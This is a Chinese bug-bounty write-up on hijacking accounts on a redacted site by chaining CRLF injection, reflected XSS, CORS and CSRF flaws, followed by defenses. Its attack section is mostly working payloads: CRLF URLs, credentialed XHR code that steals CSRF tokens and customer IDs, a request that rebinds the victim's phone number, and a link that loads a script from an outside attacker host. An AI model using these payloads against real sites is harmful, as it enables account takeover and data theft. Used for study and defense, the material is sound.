挖洞经验 | 利用CRLF注入实现账户劫持
字数 870 2025-08-15 21:31:37

CRLF注入与账户劫持漏洞利用技术详解

漏洞背景

CRLF注入(Carriage Return Line Feed Injection)是一种通过注入特殊字符(回车%0D和换行%0A)来操纵HTTP头部或主体的攻击技术。结合其他漏洞可以形成严重的安全威胁,如本文介绍的账户劫持案例。

漏洞链概述

本案例展示了一个完整的漏洞利用链:

CRLF注入 → 分块传输编码绕过 → 反射型XSS → CORS配置不当 → CSRF绕过 → 账户劫持

关键漏洞点分析

1. CRLF注入漏洞

CRLF注入允许攻击者控制HTTP响应头或主体。在本案例中,攻击者发现目标网站存在多个CRLF注入点,构造如下Payload:

https://subdomain.redacted.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

解码后:

https://subdomain.redacted.com/?
Location:
Content-Type:text/html
X-XSS-Protection:0

<script>alert(document.domain)</script>

2. 分块传输编码问题

初始利用在Burp Suite中成功但在独立浏览器中失败,原因是:

  • Burp Suite自动处理了分块编码元数据
  • 独立浏览器严格解析导致失败

解决方案是精确计算并添加分块编码信息:

https://subdomain.redacted.com/%3f%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0AContent-Encoding:%20utf-8%0D%0A%0D%0A28%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E%0D%0A0%0D%0A%0D%0A

解码后:

https://subdomain.redacted.com/?
Content-Type:text/html
X-XSS-Protection:0
Content-Encoding: utf-8

28
<script>alert(document.domain)</script>
0

3. XSS漏洞利用

成功触发XSS后,攻击者构造脚本获取敏感信息:

xhr = new XMLHttpRequest();
xhr.open("GET","https://redacted.com",true);
xhr.withCredentials = true;
xhr.onreadystatechange = function () {
  if(xhr.readyState === XMLHttpRequest.DONE){
    data = xhr.responseText;
    re = /"csrfToken":"[A-Z0-9]*"/g;
    cid = /"customerID":[0-9]*/g;
    console.log(data.match(re));
    console.log(data.match(cid));
  }
}
xhr.send();

4. 账户劫持实现

获取CSRF token和customerID后,构造POST请求修改用户绑定手机号:

function submitRequest(token, customer_id) {
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "https://www.redacted.com/a/sms_subs/subs", true);
  xhr.setRequestHeader("Accept", "application/json");
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.withCredentials = true;
  
  var body = "{\"phone_number\":\"攻击者手机号\",\"customerID\":" + customer_id + ",\"country_calling_code\":\"US\",\"_csrf_token\":\"" + token + "\"}";
  
  var aBody = new Uint8Array(body.length);
  for (var i = 0; i < aBody.length; i++) 
    aBody[i] = body.charCodeAt(i);
  
  xhr.send(new Blob([aBody]));
}

完整利用链构造

最终攻击者构造的恶意链接:

https://subdomain.redacted.com/%3F%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3A0%0D%0AContent-Encoding:%20utf-8%0D%0A%0D%0A5D%0D%0A%3Cscript%3Edocument.write%28%27%3Cscript%20src%3D%22https%3A%5C%2F%5C%2Fataaker.com%2Fpipdec4.js%22%3E%3C%5C%2Fscript%3E%27%29%3C%2Fscript%3E%0D%0A0%0D%0A%0D%0A

解码后:

https://subdomain.redacted.com/?
Content-Type:text/html
X-XSS-Protection:0
Content-Encoding: utf-8

5D
<script>document.write('<script src="https:\/\/ataaker.com/pipdec4.js"><\/script>')</script>
0

防御措施

  1. CRLF注入防御

    • 对用户输入进行严格过滤,移除%0D%0A等特殊字符
    • 使用安全的API构建HTTP头部
  2. XSS防御

    • 实施严格的CSP策略
    • 对所有输出进行HTML编码
    • 设置X-XSS-Protection头
  3. CSRF防御

    • 使用同步器令牌模式
    • 检查Referer头
    • 设置SameSite Cookie属性
  4. CORS配置

    • 严格限制Access-Control-Allow-Origin
    • 避免使用Access-Control-Allow-Credentials: true
  5. 其他措施

    • 禁用不必要的内容编码
    • 监控异常账户行为(如手机号变更)
    • 实施敏感操作的多因素认证

总结

本案例展示了如何通过组合多个看似中低危的漏洞(CRLF注入、XSS、CSRF等)实现高风险的账户劫持攻击。安全防御需要全面考虑各个层面的防护,任何一环的缺失都可能导致整个安全体系被突破。

CRLF注入与账户劫持漏洞利用技术详解 漏洞背景 CRLF注入(Carriage Return Line Feed Injection)是一种通过注入特殊字符(回车%0D和换行%0A)来操纵HTTP头部或主体的攻击技术。结合其他漏洞可以形成严重的安全威胁,如本文介绍的账户劫持案例。 漏洞链概述 本案例展示了一个完整的漏洞利用链: 关键漏洞点分析 1. CRLF注入漏洞 CRLF注入允许攻击者控制HTTP响应头或主体。在本案例中,攻击者发现目标网站存在多个CRLF注入点,构造如下Payload: 解码后: 2. 分块传输编码问题 初始利用在Burp Suite中成功但在独立浏览器中失败,原因是: Burp Suite自动处理了分块编码元数据 独立浏览器严格解析导致失败 解决方案是精确计算并添加分块编码信息: 解码后: 3. XSS漏洞利用 成功触发XSS后,攻击者构造脚本获取敏感信息: 4. 账户劫持实现 获取CSRF token和customerID后,构造POST请求修改用户绑定手机号: 完整利用链构造 最终攻击者构造的恶意链接: 解码后: 防御措施 CRLF注入防御 : 对用户输入进行严格过滤,移除%0D%0A等特殊字符 使用安全的API构建HTTP头部 XSS防御 : 实施严格的CSP策略 对所有输出进行HTML编码 设置X-XSS-Protection头 CSRF防御 : 使用同步器令牌模式 检查Referer头 设置SameSite Cookie属性 CORS配置 : 严格限制Access-Control-Allow-Origin 避免使用Access-Control-Allow-Credentials: true 其他措施 : 禁用不必要的内容编码 监控异常账户行为(如手机号变更) 实施敏感操作的多因素认证 总结 本案例展示了如何通过组合多个看似中低危的漏洞(CRLF注入、XSS、CSRF等)实现高风险的账户劫持攻击。安全防御需要全面考虑各个层面的防护,任何一环的缺失都可能导致整个安全体系被突破。